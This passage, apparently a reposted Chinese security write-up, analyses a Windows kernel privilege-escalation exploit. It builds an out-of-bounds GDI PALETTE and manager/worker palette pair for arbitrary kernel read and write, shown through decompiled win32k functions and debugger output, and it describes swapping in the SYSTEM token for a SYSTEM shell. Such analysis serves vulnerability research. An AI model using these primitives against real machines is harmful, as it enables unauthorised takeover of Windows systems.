  if ( 8 * (_DWORD)CountSize )
  {
    sizeRef = size;
    // 這里分配 8 * CountSize大小內存
    addr = ExAllocatePoolWithTag((POOL_TYPE)33, size, 0x64646147u);
    AllocedAddress = addr;
    if ( addr )
      memset(addr, 0, sizeRef);
  }
  // 在138位置保存了申請內存的地址
  *(_QWORD *)(*(_QWORD *)_This->BaseObject + 0x138i64) = AllocedAddress;
  if ( *(_QWORD *)(*(_QWORD *)_This->BaseObject + 312i64) )
    goto copy_Memory;
  *(_DWORD *)(*(_QWORD *)_This->BaseObject + 0x140i64) = 0;
  return 0i64;
}

構造好了越界的PALETTE就可以構造hManager、hWorker兩個Palette object,其中hManager->pFirstColor指針指向hWorker的內核地址,具體方法是通過GetPaletteEntries和SetPaletteEntries,內部通過GreGetPaletteEntries調用XEPALOBJ::ulGetEntries和GreSetPaletteEntries調用實現.

__int64 __fastcall XEPALOBJ::ulGetEntries(PALETTE64 *this, unsigned int istart, unsigned int icount, tagPALETTEENTRY *entrys, int val0)
{
  unsigned int icountRef; // edi
  tagPALETTEENTRY *v6; // rbx
  unsigned int v8; // eax
  unsigned int v9; // eax
  unsigned __int64 v10; // rcx

  icountRef = icount;
  v6 = entrys;
  if ( !entrys )
    return *(unsigned int *)(*(_QWORD *)this->BaseObject + 0x1Ci64);
  v8 = *(_DWORD *)(*(_QWORD *)this->BaseObject + 0x1Ci64);
  if ( istart >= v8 )
    return 0i64;
  v9 = v8 - istart;
  if ( icount > v9 )
    icountRef = v9;
  // 拷貝pFirstColor+4*istart位置從entry的buf中,拷貝大小為icountRef*4
  memmove(entrys, (const void *)(*(_QWORD *)(*(_QWORD *)this->BaseObject + 0x80i64) + 4i64 * istart), 4i64 * icountRef);
  if ( !val0 )
    return icountRef;
  v10 = (unsigned __int64)&v6[icountRef];
  while ( (unsigned __int64)v6 < v10 )
  {
    v6->peFlags = 0;
    ++v6;
  }
  return icountRef;
}
__int64 __fastcall XEPALOBJ::ulSetEntries(PALETTE64 *this, unsigned int istart, int icount, tagPALETTEENTRY *entrys)
{
  __int64 BaseObject; // r10
  tagPALETTEENTRY *entrysRef; // rbx
  PALETTE64 *that; // r11
  __int64 v7; // r9
  _BYTE *ptransOld; // rcx
  tagPALETTEENTRY *entryPtr; // rdi
  _DWORD *ptransCurrentFrom; // rax
  _BYTE *ptransCurrent; // rdx
  _DWORD *ptransOldFrom; // rax
  unsigned int icountRef; // er9
  signed __int32 v14; // edx
  __int64 v15; // r8

  BaseObject = *(_QWORD *)this->BaseObject;
  entrysRef = entrys;
  that = this;
  if ( _bittest((const signed __int32 *)(*(_QWORD *)this->BaseObject + 0x18i64), 0x14u)
    || !entrys
    // BaseObject + 0x1C就是entryCount
    || istart >= *(_DWORD *)(BaseObject + 0x1C) )
  {
    return 0i64;
  }
  if ( icount + istart > *(_DWORD *)(BaseObject + 28) )
    icount = *(_DWORD *)(BaseObject + 28) - istart;
  if ( !icount )
    return 0i64;
  v7 = istart;
  ptransOld = 0i64;
  // 讀取pFirstColor+4*istart位置從entry的buf中
  entryPtr = (tagPALETTEENTRY *)(*(_QWORD *)(BaseObject + 0x80) + 4i64 * istart);
  ptransCurrentFrom = *(_DWORD **)(BaseObject + 0x48);
  ptransCurrent = 0i64;
  if ( ptransCurrentFrom )
  {
    *ptransCurrentFrom = 0;
    BaseObject = *(_QWORD *)that->BaseObject;
    ptransCurrent = (_BYTE *)(*(_QWORD *)(*(_QWORD *)that->BaseObject + 0x48i64) + v7 + 4);
  }
  ptransOldFrom = *(_DWORD **)(BaseObject + 0x50);
  if ( ptransOldFrom )
  {
    *ptransOldFrom = 0;
    ptransOld = (_BYTE *)(*(_QWORD *)(*(_QWORD *)that->BaseObject + 0x50i64) + v7 + 4);
  }
  icountRef = icount;
  do
  {
    --icount;
    *entryPtr = *entrysRef;
    if ( ptransCurrent )
      // 重置ptransCurrent
      *ptransCurrent++ = 0;
    if ( ptransOld )
      // 重置ptransOld
      *ptransOld++ = 0;
    // 讀取大小為icountRef*4
    ++entrysRef;
    ++entryPtr;
  }
  while ( icount );
  v14 = _InterlockedIncrement((volatile signed __int32 *)&ulXlatePalUnique);
  *(_DWORD *)(*(_QWORD *)that->BaseObject + 32i64) = v14;
  v15 = *(_QWORD *)(*(_QWORD *)that->BaseObject + 136i64);
  if ( v15 != *(_QWORD *)that->BaseObject )
    *(_DWORD *)(v15 + 32) = v14;
  return icountRef;
}

在poc中對于hManager設置GetPaletteEntries的istart=0x1b,SetPaletteEntries=的istart=0x3C,0x1b?4=6c對齊后為0x70,0x3C4=0xf0,0xf0-0x70=0x80正好是hWorker->pFirstColor指針指向的地址,寫入任意目標內核地址后,對于hWorker調用GetPaletteEntries就就可以讀取這個地址4*icount大小的任意內容,下面我們來看調試驗證結果:

//在用戶態查看,hManager和hWorker可以通過計算公式為(PEB->GdiSharedHandleTable+ sizeof(HANDLEENTRY) *(gdi對象句柄&0xffff))獲取內核地址,poc中有計算代碼
0:000> dv /i /t /v
prv local  00000000`0029f898 unsigned char * hPltWkrObj = 0xfffff900`c566df10 "--- memory read error at address 0xfffff900`c566df10 ---"
prv local  00000000`0029f890 unsigned char * hPltMgrObj = 0xfffff900`c566de10 "--- memory read error at address 0xfffff900`c566de10 ---"
//在內核態查看:
kd> dq 0xfffff900`c566de10 L20
fffff900`c566de10  00000000`020810cc 00000000`00000000
//在PALETTE64->cEntries寫入值為0xfff位置構造了一個越界的PALETTE實現
fffff900`c566de20  00000000`00000000 00000fff`00000501
fffff900`c566de30  00000000`000cfc5d 00000000`00000000
fffff900`c566de40  00000000`00000000 00000000`00000000
fffff900`c566de50  00000000`00000000 00000000`00000000
fffff900`c566de60  00000000`00000000 00000000`00000000
fffff900`c566de70  fffff960`0010a8dc fffff960`0010a7f0
fffff900`c566de80  00000000`00000000 00000000`00000000
//0xfffff900`c566de10+80也就是hManager->pFirstColor指針指向的地址
fffff900`c566de90  fffff900`c566dea0 fffff900`c566de10
//查看hManager->pFirstColor指針指向的地址
kd> dq fffff900`c566dea0 L20
fffff900`c566dea0  55555555`55555555 55555555`55555555
fffff900`c566deb0  55555555`55555555 55555555`55555555
fffff900`c566dec0  55555555`55555555 55555555`55555555
fffff900`c566ded0  55555555`55555555 55555555`55555555
fffff900`c566dee0  55555555`55555555 55555555`55555555
fffff900`c566def0  55555555`55555555 00000000`00000000
fffff900`c566df00  38326847`23100010 00000000`00000000
//fffff900`c566dea0+0x70=0xfffff900`c566df10 正好就是在用戶態看到的hPltWkrObj指向地址
//這里正好對應的是一個PALETTE結構
fffff900`c566df10  00000000`020810cd 00000000`00000000
//hWorker長度16足夠了
fffff900`c566df20  00000000`00000000 00000016`00000501
fffff900`c566df30  00000000`000cdb62 00000000`00000000
fffff900`c566df40  00000000`00000000 00000000`00000000
fffff900`c566df50  00000000`00000000 00000000`00000000
fffff900`c566df60  00000000`00000000 00000000`00000000
fffff900`c566df70  fffff960`0010a8dc fffff960`0010a7f0
fffff900`c566df80  00000000`00000000 00000000`00000000
//0xfffff900`c566df10+80指向這里指向要讀取內存的地址,也就是hWorker->pFirstColor指針指向的地址
fffff900`c566df90  fffff800`03eff030 fffff900`c566df10
fffff900`c566dfa0  55555555`55555555 55555555`55555555
fffff900`c566dfb0  55555555`55555555 55555555`55555555
//再次回到用戶態查看
0:000> dv /i /t /v
prv param  00000000`0029f6b0 unsigned int64 Addr = 0xfffff800`03eff030
prv param  00000000`0029f6b8 unsigned int len = 2
//內核態查看
//直接查看內核態數據
kd> dq fffff800`03eff030
fffff800`03eff030  fffffa80`018cbb30 fffffa80`01829fc0
fffff800`03eff040  a1993ffe`00000001 fffffa80`0195f7b0
fffff800`03eff050  fffffa80`01852840 00000001`00000000
fffff800`03eff060  00000000`0007ff8e 00000040`00000320
fffff800`03eff070  00000043`00000004 fffff683`ffffff78
fffff800`03eff080  00026161`00000001 00000000`0007ffff
fffff800`03eff090  fffff800`03c4e380 00000000`00000007
fffff800`03eff0a0  fffffa80`018fda50 fffffa80`01808000
//最后回到用戶態查看
0:000> dv /i /t /v
//驗證讀取的數據正確
prv local  00000000`0029f6d0 unsigned int64 res = 0xfffffa80`018cbb30

同理對hWorker調用SetPaletteEntries實現任意內存寫入,實現替換進程SYSTEM權限的token,為了避免退出進程后HDC句柄釋放失敗導致藍屏,把Palette改回原來大小這樣就會調用GetPaletteEntries失敗,從而判斷出是哪個HDC改寫了越界Palette,最后通過偏移量找到他內核句柄的地址,清零最后成功退出exp,成功后獲得一個system的cmd,本exp成功率90%,效果如圖:

查看大圖

引用

我的poc地址

轉載自安全客:https://www.anquanke.com/post/id/183358

上一篇:Online skimming:一種需要緊急意識和關注的新興威脅

下一篇:賽可達發布7月全球PC殺毒軟件查殺能力橫評報告